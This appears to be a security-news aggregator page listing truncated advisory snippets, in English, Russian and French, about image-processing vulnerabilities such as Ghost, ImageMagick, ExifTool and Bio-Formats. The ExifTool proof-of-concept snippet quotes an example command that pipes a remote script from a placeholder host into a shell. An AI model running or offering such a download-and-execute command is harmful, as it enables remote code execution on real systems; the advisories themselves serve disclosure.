EUVD-2026-92621

Ghost: Remote Code Execution via Bookmark Card Images...

CVE-2020-29599

CVE-2020-29599 Библиотека Artifex ImageMagick Версии Artifex 6.9.11-40 и 7.0.10-40: файлы SVG будут преобразованы в изображения...

shotlooter

Introduction L'outil Shotlooter est développé pour trouver des données sensibles dans les captures d'écran téléchargées sur https://prnt.sc/ via le logiciel LightShot en appliquant des méthodes d'OCR et de traitement d'image. +-------------------+ IMAGE FILE |!/usr/bin/python |...

CVE-2019-19634

CVE-2019-19634 - class.upload.php = 2.0.4 Произвольная загрузка файлов Автор - Jinny Ramsmark Пострадавший поставщик - Verot.net Пострадавший продукт - class.upload.php = 2.0.4 Протестировано на свежеустановленной Ubuntu 14.04 с PHP5 и Apache В частности, Debian/Ubuntu оказались уязвимыми, так ка...

CVE-2025-43300

CVE-2025-43300 : Corruption mémoire dans le traitement d'images DNG sur iOS/macOS Présentation CVE-2025-43300 est une vulnérabilité critique de corruption mémoire dans le framework de traitement d'images d'Apple qui affecte iOS 18.6.1 et les systèmes macOS. La vulnérabilité réside dans le code de...

sticky_keys_hunter

Sticky Keys Hunter This POC bash script tests for sticky keys and utilman backdoors. The script will connect to an RDP server, send both the sticky keys and utilman triggers and screenshot the result. This script was written to prove a theory I had about detecting these backdoors in a blackbox...

POC-CVE-2021-22204

POC-CVE-2021-22204 https://nvd.nist.gov/vuln/detail/CVE-2021-22204 Это всего лишь вспомогательный скрипт, который я написал для тестирования. Вывод Usage ./buildimage.pl Note: if your cmd contains unix special characters use quote! EG: ./buildimage.pl "curl xxxx.com/script.sh|sh" This poc generat...

CVE-2026-105642

Ghost is a Node.js content management system. From 6.56.0 until 6.67.0, an image processing library bundled with Ghost contained a vulnerability in its SVG handling. Any staff user, including Contributors, could create a bookmark card for an attacker-controlled website, resulting in arbitrary...

CVE-2026-105642 Ghost: Remote Code Execution via Bookmark Card Images

Ghost is a Node.js content management system. From 6.56.0 until 6.67.0, an image processing library bundled with Ghost contained a vulnerability in its SVG handling. Any staff user, including Contributors, could create a bookmark card for an attacker-controlled website, resulting in arbitrary...

CVE-2026-105642: Improper Control of Generation of Code

Ghost is a Node.js content management system. From 6.56.0 until 6.67.0, an image processing library bundled with Ghost contained a vulnerability in its SVG handling. Any staff user, including Contributors, could create a bookmark card for an attacker-controlled website, resulting in arbitrary...

PT-2026-106138

Name of the Vulnerable Software and Affected Versions Ghost versions 6.56.0 through 6.66.0 Description A vulnerability exists in the SVG handling of an image processing library bundled with the Ghost content management system. A staff user with Contributor permissions or higher can create a...

CVE-2021-22204

CVE-2021-22204 — Выполнение произвольного кода в ExifTool Улучшенный proof-of-concept для CVE-2021-22204 — уязвимости в ExifTool версий с 7.44 по 12.23, которая позволяет выполнять произвольный код при обработке вредоносных файлов DjVu. Авторство Это производная работа. Уязвимость и оригинальный...

[SECURITY] Fedora 45 Update: GraphicsMagick-1.3.45-11.fc45

GraphicsMagick is a comprehensive image processing package which is initially based on ImageMagick 5.5.2, but which has undergone significant re-work by the GraphicsMagick Group to significantly improve the quality and performance of the software...

KeyDecoder

KeyDecoder KeyDecoder — это мобильное приложение, созданное для пентестеров и энтузиастов безопасности. По фотографии ключа можно легко измерить его биттинг. Разработано Maxime BEASSE и Quentin CLEMENT. В партнёрстве с FrenchKey и CNS из ESIEA. Работает на Flutter 3.13.6 и OpenCV 4.3.0 Summary...

CVE-2026-22187-Bio-Formats-unsafe-Java-deserialization-via-.bfmemo

CVE-2026-22187-Bio-Formats-unsafe-Java-deserialization-via-.bfmemo Bio-Formats ≤ 8.3.0 выполняет небезопасную Java-десериализацию управляемых атакующим .bfmemo-файлов кэша во время обработки изображений; специально созданный .bfmemo может вызвать десериализацию недоверенных данных DoS/манипуляция...

[SECURITY] Fedora 45 Update: perl-Imager-1.036-1.fc45

Imager is a module for creating and altering images. It can read and write various image formats, draw primitive shapes like lines,and polygons, blend multiple images together in various ways, scale, crop, render text and more...

CVE-2026-81180 SysReptor: Authenticated RCE by insecure image processing

SysReptor is a fully customizable pentest reporting platform. Prior to 2026.61, authenticated users of SysReptor Professional can upload image files whose formats cause image processing to invoke Ghostscript, allowing embedded PostScript to operate in the shared temporary directory. An attacker c...

ROOT-OS-DEBIAN-13-CVE-2026-56372 CVE-2026-56372 in imagemagick - Patched by Root

Root has patched CVE-2026-56372 in the imagemagick package for Root:Debian:13. Multiple fixed versions available...

ROOT-OS-DEBIAN-13-CVE-2026-61465 CVE-2026-61465 in imagemagick - Patched by Root

Root has patched CVE-2026-61465 in the imagemagick package for Root:Debian:13. Multiple fixed versions available...

CVE-2026-86882

An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. Processing a maliciously crafted image may lead to...